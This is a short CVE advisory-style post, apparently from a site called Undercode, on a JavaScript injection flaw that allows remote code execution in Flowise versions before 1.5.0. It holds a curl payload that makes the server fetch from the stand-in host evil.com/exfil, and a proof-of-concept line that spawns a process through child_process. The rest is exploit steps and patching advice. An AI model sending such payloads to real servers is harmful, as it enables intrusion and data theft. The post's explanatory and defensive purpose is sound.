Listen to this Post
How the CVE Works:
The vulnerability in Flowise arises due to improper handling of user-supplied input in a dynamic `Function` constructor. Attackers can craft a malicious POST request containing JavaScript code, which is then executed unsandboxed on the server. This occurs because the application fails to sanitize or restrict input passed to the constructor, enabling arbitrary remote code execution (RCE) under the host’s privileges.
DailyCVE Form:
Platform: Flowise
Version: <1.5.0
Vulnerability: JS Injection → RCE
Severity: Critical
Date: Aug 14, 2025
Prediction: Patch by Aug 28, 2025
What Undercode Say:
Analytics:
curl -X POST http://target/api -d '{"input": "constructor.constructor(\'fetch(evil.com/exfil)\')()"}'
// Proof-of-Concept (PoC):
const maliciousPayload = new Function('require("child_process").exec("calc")');
How Exploit:
- Send crafted POST request with JS payload.
- Payload executes in server context.
- Bypasses sandboxing via `Function` constructor abuse.
Protection from this CVE:
- Sanitize user input.
- Disable dynamic code execution.
- Update to patched version.
Impact:
- Full system compromise.
- Data exfiltration.
- Service disruption.
🎯Let’s Practice Exploiting & Learn Patching For Free:
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
